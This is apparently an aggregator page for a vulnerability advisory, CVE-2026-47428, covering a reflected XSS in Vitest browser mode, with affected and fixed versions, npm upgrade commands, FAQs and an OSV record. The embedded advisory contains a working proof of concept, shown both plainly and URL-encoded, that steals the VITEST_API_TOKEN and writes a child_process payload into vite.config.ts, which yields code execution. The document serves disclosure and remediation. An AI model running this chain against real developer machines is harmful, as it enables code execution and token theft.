CVE-2026-47428: @vitest/browser Vitest Browser Mode Serves Unsanitized Vulnerability

CRITICAL
Advisory Identifier: GHSA-2h32-95rg-cppp
CVSS 9.6
CWE-79
Published
Advisory Summary

CVE-2026-47428 is a CRITICAL (CVSS 9.6) vitest browser mode serves unsanitized vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @vitest/browser libraries in the npm ecosystem. The issue involves vitest browser mode serves unsanitized otelcarrier query parameter as inline script. Remediation is available by upgrading affected packages to version 4.1.6, 5.0.0-beta.3.

CVE-2026-47428 at a Glance

CVE Identifier CVE-2026-47428
GHSA Identifier GHSA-2h32-95rg-cppp
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product @vitest/browser
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-47428

To remediate this vulnerability, upgrade all affected @vitest/browser dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@vitest/browser fixed: 4.1.6
npm install @vitest/browser@4.1.6
@vitest/browser fixed: 5.0.0-beta.3
npm install @vitest/browser@5.0.0-beta.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @vitest/browser

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-47428, inspect your project dependencies using npm:

npm ls @vitest/browser

Analyze the terminal output to locate any version of @vitest/browser in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.6), your application is affected.

Note: The npm ls @vitest/browser command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @vitest/browser, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Vitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin. https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48 https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41 The same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls. ## Impact This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running. In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node. This is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs. ## Proof of Concept ### XSS For a concrete reproduction, start browser mode in watch mode using the official Lit example: ```sh pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc cd vitest-poc pnpm install pnpm test ``` By default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`. Open the following URL: ```text http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull) ``` The `otelCarrier` query value is inserted into the generated inline module script as JavaScript source: ```js otelCarrier: (alert("xss via otelCarrier"),null), ``` Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin. ### RCE via config write A full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand("writeFile", ...)` to modify the local `vite.config.ts`. The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node. This PoC imports `flatted` from a CDN to keep the payload compact. <details><summary>Example script and encoded URL</summary> ```ts (setTimeout(async()=>{ const s = window.__vitest_browser_runner__ const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm') const p = location.protocol === 'https:' ? 'wss:' : 'ws:' const q = 'type=orchestrator&rpcId=poc-' + Date.now() + '&sessionId=' + encodeURIComponent(s.sessionId) + '&projectName=' + encodeURIComponent(s.config.name || '') + '&method=' + encodeURIComponent(s.method) + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0') const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q) const pending = new Map() function call(m, a = []) { const i = crypto.randomUUID() ws.send(stringify({ t: 'q', i, m, a })) return new Promise((resolve, reject) => { pending.set(i, { resolve, reject }) }) } ws.onmessage = (event) => { const message = parse(event.data) const promise = pending.get(message.i) if (!promise) { return } pending.delete(message.i) if (message.e) { promise.reject(message.e) } else { promise.resolve(message.r) } } ws.onopen = async () => { const configPath = 'vite.config.ts' const original = await call('triggerCommand', [ s.sessionId, 'readFile', configPath, [configPath, 'utf-8'], ]) const injected = ` import("node:child_process").then(lib => { lib.execSync('touch ./rce-poc') console.log('RCE success') }) ` await call('triggerCommand', [ s.sessionId, 'writeFile', configPath, [configPath, injected + original], ]) alert('POC: vite.config.ts modified to trigger RCE on config reload') } ws.onerror = () => alert('POC: browser api websocket failed') },0),null) ``` The following URL is the same script encoded as the `otelCarrier` query value: ```txt http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull) ``` </details> ---

CVE-2026-47428 Affected @vitest/browser Versions

2 component(s)
Fixed Versions:
4.1.65.0.0-beta.3
Product / Package Ecosystem Affected Versions Fixed Version
@vitest/browser
npm
≥ 4.0.17
< 4.1.6
4.1.6
@vitest/browser
npm
≥ 5.0.0-beta.0
< 5.0.0-beta.3
5.0.0-beta.3

References

Frequently Asked Questions

What is CVE-2026-47428?
CVE-2026-47428 is a security vulnerability in @vitest/browser involving Vitest browser mode serves unsanitized otelCarrier query parameter as inline script under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @vitest/browser versions are affected?
Affected versions include releases prior to 4.1.6, 5.0.0-beta.3 across affected packages: @vitest/browser.
What version fixes CVE-2026-47428?
Upgrading to 4.1.6, 5.0.0-beta.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @vitest/browser affected?
Yes, @vitest/browser is affected in releases prior to 4.1.6, 5.0.0-beta.3. Upgrade your dependency to 4.1.6, 5.0.0-beta.3 or later.
What is the CVSS score of CVE-2026-47428?
CVE-2026-47428 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-47428?
CVE-2026-47428 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-47428?
Run the dependency tree command: 'npm ls @vitest/browser'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2h32-95rg-cppp",
  "modified" : "2026-06-01T14:12:18Z",
  "published" : "2026-06-01T14:12:18Z",
  "aliases" : [ "CVE-2026-47428" ],
  "summary" : "Vitest browser mode serves unsanitized otelCarrier query parameter as inline script",
  "details" : "## Summary\n\nVitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41\n\nThe same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.\n\n## Impact\n\nThis issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.\n\nIn the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.\n\nThis is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.\n\n## Proof of Concept\n\n### XSS\n\nFor a concrete reproduction, start browser mode in watch mode using the official Lit example:\n\n```sh\npnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc\ncd vitest-poc\npnpm install\npnpm test\n```\n\nBy default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.\n\nOpen the following URL:\n\n```text\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)\n```\n\nThe `otelCarrier` query value is inserted into the generated inline module script as JavaScript source:\n\n```js\notelCarrier: (alert(\"xss via otelCarrier\"),null),\n```\n\nLoading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.\n\n### RCE via config write\n\nA full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand(\"writeFile\", ...)` to modify the local `vite.config.ts`.\n\nThe PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.\n\nThis PoC imports `flatted` from a CDN to keep the payload compact.\n\n<details><summary>Example script and encoded URL</summary>\n\n```ts\n(setTimeout(async()=>{\n  const s = window.__vitest_browser_runner__\n  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')\n  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'\n  const q = 'type=orchestrator&rpcId=poc-' + Date.now()\n    + '&sessionId=' + encodeURIComponent(s.sessionId)\n    + '&projectName=' + encodeURIComponent(s.config.name || '')\n    + '&method=' + encodeURIComponent(s.method)\n    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')\n\n  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)\n  const pending = new Map()\n\n  function call(m, a = []) {\n    const i = crypto.randomUUID()\n    ws.send(stringify({ t: 'q', i, m, a }))\n    return new Promise((resolve, reject) => {\n      pending.set(i, { resolve, reject })\n    })\n  }\n\n  ws.onmessage = (event) => {\n    const message = parse(event.data)\n    const promise = pending.get(message.i)\n    if (!promise) {\n      return\n    }\n    pending.delete(message.i)\n    if (message.e) {\n      promise.reject(message.e)\n    }\n    else {\n      promise.resolve(message.r)\n    }\n  }\n\n  ws.onopen = async () => {\n    const configPath = 'vite.config.ts'\n    const original = await call('triggerCommand', [\n      s.sessionId,\n      'readFile',\n      configPath,\n      [configPath, 'utf-8'],\n    ])\n\n    const injected = `\nimport(\"node:child_process\").then(lib => {\n  lib.execSync('touch ./rce-poc')\n  console.log('RCE success')\n})\n`\n    await call('triggerCommand', [\n      s.sessionId,\n      'writeFile',\n      configPath,\n      [configPath, injected + original],\n    ])\n\n    alert('POC: vite.config.ts modified to trigger RCE on config reload')\n  }\n\n  ws.onerror = () => alert('POC: browser api websocket failed')\n},0),null)\n```\n\nThe following URL is the same script encoded as the `otelCarrier` query value:\n\n```txt\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)\n```\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vitest/browser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.17"
      }, {
        "fixed" : "4.1.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vitest/browser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-beta.0"
      }, {
        "fixed" : "5.0.0-beta.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vitest-dev/vitest"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-01T14:12:18Z",
    "nvd_published_at" : null
  }
}